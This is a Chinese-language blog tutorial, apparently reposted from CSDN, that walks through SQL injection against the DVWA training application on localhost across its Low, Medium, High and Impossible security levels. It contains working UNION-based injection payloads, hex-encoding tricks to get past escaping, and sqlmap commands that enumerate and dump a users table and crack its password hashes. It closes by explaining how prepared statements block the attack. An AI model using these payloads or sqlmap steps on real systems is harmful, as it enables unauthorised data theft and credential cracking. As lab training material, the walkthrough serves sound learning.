DVWA-SQL注入

发布时间:2024年01月20日

设置防御等级为low

在这里插入图片描述

查看后台源代码

如果我们执行select first_name,last_name from users where user_id = ‘1’ and 1=1#‘;
我们输入的是1‘and 1=1#
这是SQL会判断1=1是对的
#的再用是注释后面的SQL语句
如果我们执行select first_name,last_name from users where user_id = ‘1’ and 1=2#’;
我们输入的是1‘and 1=2#
这是SQL会判断1=2是错的
证明SQL语句声效 存在SQL注入漏洞
在这里插入图片描述

如何利用SQL注入漏洞呢?

1.判断列/字段数
order by [column_num]
select fisrt_name,last_name from users where user_id = ‘1’order by 1#’;
select fisrt_name,last_name from users where user_id = ‘1’order by 2#’;
select fisrt_name,last_name from users where user_id = ‘1’order by 3#’;
如果我们输入1’order by 3# 网页出现报错 则说明该数据库有2列/字段
在这里插入图片描述
2.联合查询其他信息
union select [sql1] [sql2]
select fisrt_name,last_name from users where user_id = ‘1’ union select user(),database()#‘;
user() 返回当前数据库连接用户
database() 返回当前数据库名称
在这里插入图片描述
3.联合查询表
union select table_name,tabke_schema from information_schema.tables where table_schema=’[database_name]’
union select table_name,tabke_schema from information_schema.tables where table_schema=‘1’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’#‘;
这里看到出来dvwa有二个表 一个是guestbook一个是users
在这里插入图片描述
4.联合查询信息
union [query_sql]
select fisrt_name,last_name from users where user_id = ‘1’ union select user,password from users#’;
这边我们看admin的Surname
5f4dcc3b5aa765d61d8327deb882cf99这个值是md5加密的我们解密出来的密码为password
在这里插入图片描述
在这里插入图片描述

SQLmap

第一步检测漏洞

我这里说一下安装python的时候建议下载3.10.0以下 我这里研究了一上午发现发现Python 3.12的发布,distutils终于被移除。根据 PEP 632,distutils 在 Python 3.10 中被标记为废弃,在 Python 3.12 中将不再是标准库的一部分。从distutils中导入将导致一个错误,因为不会有向后兼容的情况出现。如果这个时候你用3.10.0以上版本会出import distutils不存在等
sqlmap下载连接https://sqlmap.org/
python下载连接https://www.python.org/
1.请在sqlmap文件夹下浏览框输入cmd
在这里插入图片描述
2.输入python sqlmap.py
3.python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low”
其中的-u是需要检测的网址 --cookie是DVWA需要登录。可以在浏览器控制台查看请求头中获取cookie

1.it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
DBMS为Mysql,问我们是否要其他数据库进行检测
2.for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
问我们这个数据库扩展提供的级别(1)和风险(1)值是否进行检测。
3.GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)[y/N]
GET参数“id”易受攻击。你想继续测试其他人吗

在这里插入图片描述
在这里插入图片描述

第二步获取数据库名

python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low” --dbs
dbs:database server 获取所有数据库名
在这里插入图片描述

第三步获取指定数据库

python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low” -D dvwa --tables
D:Database指定想要获取的数据库名为dvwa
tables:累出数据库表
在这里插入图片描述

第四部获取指定数据库列/表项

python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low” -D dvwa -T users --columns
D:Database指定想要获取的数据库名为dvwa
T:table指定想要获取的表名为users
columns:列出表项/列
在这里插入图片描述

第五步获取数据

python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low” -D dvwa -T users --dump
dump:读取数据

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
是否要将哈希存储到临时文件中,以便最终使用其他工具进行进一步处理
do you want to crack them via a dictionary-based attack? [Y/n/q]
你想通过基于字典的攻击来破解它们吗? 爆破/不爆破/退出

在这里插入图片描述

设置防御等级为Medium

在这里插入图片描述
mysqli_real_escape_string这个是php中一个内置函数作用是转移字符串中的特殊字符 意思是给每个’前面加个\

select frist_name,last_name from users where user_id='1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#';
select frist_name,last_name from users where user_id='1\' union select table_name,table_schema from information_schema.tables where table_schema=\'dvwa\'#';
第一个将dvwa替换成database()
select frist_name,last_name from users where user_id='1 union select table_name,table_schema from information_schema.tables where table_schema=database()#';
第二个将dvwa替换成0x64767761的十六进制
select frist_name,last_name from users where user_id='1 union select table_name,table_schema from information_schema.tables where table_schema=0x64767761#';

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

设置防御等级设置High

在这里插入图片描述
select frist_name,last_name from users where user_id=‘$id’ LIMIT 1;这里是添加了限制
high中缺少传入数据的过滤,无法防御注入漏洞
在这里插入图片描述
在这里插入图片描述

设置成Imporssible

在这里插入图片描述
这里坐牢后端格式验证
在这里插入图片描述
下面坐牢SQL预处理PDO
在这里插入图片描述
1.in_numeric 判断用户输入的是不是数字
2.intval 获取用户输入内容的数字 再次确定
3.prepare 进行sql语句预处理
4.bindParam 绑定输入参数 并再次指定为整形
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

文章来源:https://blog.csdn.net/weixin_44415748/article/details/135644045
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。